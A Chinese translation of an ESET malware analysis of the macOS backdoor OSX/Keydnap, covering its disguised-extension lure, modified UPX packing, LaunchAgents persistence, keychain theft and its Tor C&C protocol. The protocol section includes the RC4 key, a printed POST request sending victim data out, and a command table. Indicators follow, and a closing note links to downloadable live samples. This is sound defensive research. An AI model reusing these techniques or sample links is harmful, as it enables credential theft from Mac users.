官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序
前述
近期,ESET安全公司发现了一例针对Mac 用户的恶意木马程序 OSX/Keydnap,该恶意程序窃取苹果系统密码信息并驻留于Mac OS系统中成为后门木马。以下是对该恶意程序的相关技术分析。
一、感染载体
目前还不清楚OSX/Keydnap 恶意程序以何种方式感染了受害者系统,但很有可能是通过垃圾邮件或者是非受信网站下载等途径。
据我们分析,恶意程序是下载者类型木马(downloader ),由.zip压缩文件方式组成,存在于受害者系统中,.zip压缩文件中包含有可执行的 Mach-O 文件,这些文件看似是.txt或.jpg文件,但其实在这些文件后缀名后被加了个空格隐藏在末尾,这就是木马程序的伪装手段。由于Mac OS 默认这种文件为终端执行文件,这意味着在双击打开图片或文档的同时,恶意程序的 payload 同时也在终端环境下被运行。
图1: 在Finder下的恶意ZIP和 “.jpg ” 文件
图2: 恶意文件的属性信息
.zip压缩文件中的可执行文件利用Resource fork (资源分支)内的icon图标伪装成Finder下的JPEG或TXT文件,增加受害者双击运行的可能。
图3:恶意文件在OS X El Capitan下执行的屏幕画面,注意在打开预览前的瞬间文件图标变化。
二、OSX / keydnap下载者程序
恶意程序是一个可执行的Mach-O文件,在最近版本的OS X和Mac OS系统中,如果该文件被从网络下载,且Gatekeeper安全功能开启,则系统将会向用户显示警告,恶意程序代码不会执行。
图4: ZIP文件被Safari 下载之后的系统警告信息
Keydnap程序功能非常简单:
(1)下载并执行后门组件;
(2)用base64加密的诱饵文件作为下载者木马文件中的Mach-O可执行文件;
(3)执行诱饵文件(下文将具体描述);
(4)打开执行诱饵文件的终端窗口。
诱饵文件替换了Mach-O文件,所以恶意程序只在ZIP文件中显示。木马在诱饵文件执行后还将执行后续操作:其中的后门程序将在Mac OS的 LaunchAgents 目录下添加一个入口属性,以保持重启后在系统中处于驻留状态。在之后的后门分析部分将会详细说明。
我们还发现了各种样式的下载者木马程序,在文章末尾列出了一系列样本文件信息。
有趣的是,最近我们发现的诱饵样本文件都是各种截图文件,如僵尸网络的管理界面和信用卡号码的数据信息等。这说明了Keydnap 针对的攻击目标可能是地下论坛用户或者一些安全研究人员。在最近一个变种中甚至还包括了一些“构造名词”,如 elitef*ck、ccshop 和 transmission。
图 5-1: 诱饵文件一
图 5-2: 诱饵文件二
图 5-3: 诱饵文件三
三、OSX/Keydnap后门程序
在所有样本文件中的后门程序中,我们发现都包含有名为 icloudsyncd 的文件名,恶意程序以不同的版本字符串向远程C&C控制服务器发起请求。目前,我们发现了两个版本:2016年5月的1.3.1版本和6月的1.3.5版本。
代码混淆:
木马整体未被加壳,只是后门程序被一个修改版本的UPX程序加壳。其中:
UPX头部字节“UPX!”被换为“ASS7”
脱壳代码和字符串区被以0x01进行异或操作,异或操作被运用于脱壳之后,调用主函数二进制之前。
图6: 修改过的加壳方式与其它方式对比
ESET提供了一个直接使用命令 upx –d 就可让Keydnap后门程序脱壳的UPX程序 :github
木马持续性:
恶意软件一旦开始运行,如果具备root权限,Keydnap后门程序就会在
/Library/LaunchAgents/
或
/$USER/Library/LaunchAgents/
目录下安装一个 plist文件,保持系统重启之后的持续驻留。
目录
Library/Application Support/com.apple.iCloud.sync.daemon
被用来保存icloudsyncd 执行文件,该目录中包含有恶意软件的进程ID process.id和构造名字(攻击者所起)信息build.id
利用管理者权限,木马程序通过更改icloudsyncd文件的所有者权限为root:admin,并更改可执行文件的setuid和setgid ,这意味着木马后续将以root权限运行于系统中。
图7:在LaunchAgents 目录下的plist文件
为了隐藏恶意文件位置,Keydnap用
/usr/libexec/icloudsyncd –launchd netlogon.bundle
来代替进程调用变量的显示信息,以下就是在受害者系统内进程查看命令的操作结果:
$ ps ax
[...]
566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle
[...]
窃取密码管理器Keychain信息:
OSX/keydnap后门程序配备了针对OS X keychain 的密码收集和窃取功能,经我们概念性地研究之后把它称为Keychaindump(github),它通过读取securityd 进程的内存,搜索用户keychain中的密码信息,这个步骤曾被K. Lee and H. Koo研究发表过论文。
图 9: Keydnap 后门程序的功能列表 Keychaindump
与C&C控制服务器的通信:
(1) Keydnap 通过Tor2Web 的HTTPS 隐秘网关onion.to 与远程C&C服务器进行通信,我们发现了用于不同样本中的两个onion地址:
g5wcesdfjzne7255.onion (不可访问)
r2elajikcosf7zee.onion (在写这篇报告时可访问)
(2) 木马程序的HTTP连接方式总是与 /api/osx/开始并且包含以下动作:
/api/osx/started --向远程中转结点报告攻击开始
/api/osx/keychain --筛选keychain信息
/api/osx/get_task?bot_id={botid}&version={version}(后面将会提及) --任务请求
/api/osx/cmd_executed --报告命令成功执行
/api/osx/task_complete?bot_id={botid}&task_id={taskid} --报告任务结束
其中 HTTP POST 数据中包含两个参数区域bot_id和data,data数据部分用key为“u2RLhh+!LGd9p8!ZtuKcN”的字符进行了RC4加密,当搜索并提取keychain信息后,keychain区域则被data区域填充。
POST /api/osx/started HTTP/1.1
Host: r2elajikcosf7zee.onion.to
Accept: */*
Content-Length: 233
Content-Type: application/x-www-form-urlencoded
bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D
图10: 恶意程序发送的初始信息
> rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY="), "u2RLhh+!LGd9p8!ZtuKcN")
device_model=MacBookPro9,2
bot_version=1.3.5
build_name=elitef*ck
os_version=15.5.0
ip_address=4.5.6.7
has_root=0
图11:向C&C服务器发送的信息(解码后)
bot_id 由以下SHA-256加密信息组成:
硬盘UUID信息
系统序列号(IOPlatformSerialNumber)
主机型号(如: MacBookPro9,2)
这些恶意行为非常明显
启动命令将向远程C&C控制服务器发送以下信息:
device_model: 型号(如: MacBookPro9.2)
bot_version: Keydnap版本号
build_name: 构造名字
os_version: OS X 或macOS 内核版本
ip_address: 外网IP地址
has_root: 1 代表root权限, 0 代表其它
木马命令:
在通过HTTP方式发起的命令中
api/osx/get_task?bot_id={botid}&version={version}
木马对get_task命令的请求回应中包含了一个整数来确认命令的类型和其它可选参数,
命令号 | 描述 |
---|---|
0 | 卸载Keydnap 并退出 |
1 | 以 base64-encoded 加密文件升级后门程序 |
2 | 以URL方式升级后门程序 |
3 | 解码并执行 base64加密文件 |
4 | 解码并执行 base64加密的Python脚本文件 |
5 | 从URL 链接下载并执行文件 |
6 | 从URL 链接下载并执行Python脚本文件 |
7 | 执行命令并向远程C&C 服务器回显 |
8 | 下次让用户以管理员权限执行一个程序 |
9 | 解密执行或停止base64加密文件alled authd_service |
图12: 进程数检查
图13: icloudsyncd 发起的管理权限请求以迷惑用户输入密码信息
在ID 9命令中,我们不知道authd_service的作用,因为它还没被使用过,可能是恶意软件针对有价值目标进行的第三阶段部署。
四、总结
目前为止,对这个恶意程序的分析“拼图” 还有一些丢失的碎片,如:我们不知道Keydnap是如何传播感染和分布的,也不清楚有多少受害者。
尽管OS X 系统在防范恶意软件方面有多重安全机制,但就这起案例来看,当Mach-O 图标文件被伪装成恶意代码文件之后,OS X 用户存在被欺骗执行的可能,OS X 系统面临安全风险。
五、样本文件:
下载者木马程序
所有被ESET 以OSX/TrojanDownloader.Keydnap.A监测归类的木马程序:
SHA-1 | Filename | First seen on VirusTotal | Backdoor download URL | Decoy description or URL |
---|---|---|---|---|
07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148 | "info_list.txt " | 2016-05-09 | hxxp://dev.aneros.com/media/icloudsyncd | "Most Common Interview Questions" |
78ba1152ef3883e63f10c3a85cbf00f2bb305a6a | "screenshot_2016-06-28-01.jpg " | 2016-06-28 | hxxp://freesafesoft.com/icloudsyncd | BlackHat-TDS Panel screenshot |
773a82343367b3d09965f6f09cc9887e7f8f01bf | "screenshot.jpg " | 2016-05-07 | hxxp://dev.aneros.com/media/icloudsyncd | Firefox 20 about screenshot |
dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c | "CVdetails.doc " | 2016-05-03 | hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd | hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc |
2739170ed195ff1b9f00c44502a21b5613d08a58 | "CVdetails.doc " | 2016-05-03 | hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd | hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc |
e9d4523d9116b3190f2068b1be10229e96f21729 | "logo.jpg " | 2016-06-02 | hxxp://dev.aneros.com/media/icloudsyncd | sanelite logo |
7472102922f91a78268430510eced1059eef1770 | "screenshot_9324 2.jpg " | 2016-06-28 | hxxp://freesafesoft.com/icloudsyncd | Some C&C panel |
后门程序
SHA-1 | ESET Detection name | C&C | Version |
---|---|---|---|
a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b | OSX/Keydnap.A | hxxps://g5wcesdfjzne7255.onion.to | 1.3.1 |
abf99129e0682d2fa40c30a1a1ad9e0c701e14a4 | OSX/Keydnap.A | hxxps://r2elajikcosf7zee.onion.to | 1.3.5 |
后门C&C 服务器
hxxps://g5wcesdfjzne7255.onion.to/
hxxps://r2elajikcosf7zee.onion.to/
**** 关于Keydnap的相关样本信息你可以在 ESET的github中找到 malware-iocGithub repository。
后记
疑似样本文件 - 下载
https://t.co/Tu9WYYLGaQ 解压密码:infect3d
https://yunpan.cn/OcBSyiNW5f2fCW (提取码:e78c)
*文章编译来源:ESET blog ,本文译者:clouds,转载须注明来自FreeBuf.COM
请登录/注册后在FreeBuf发布内容哦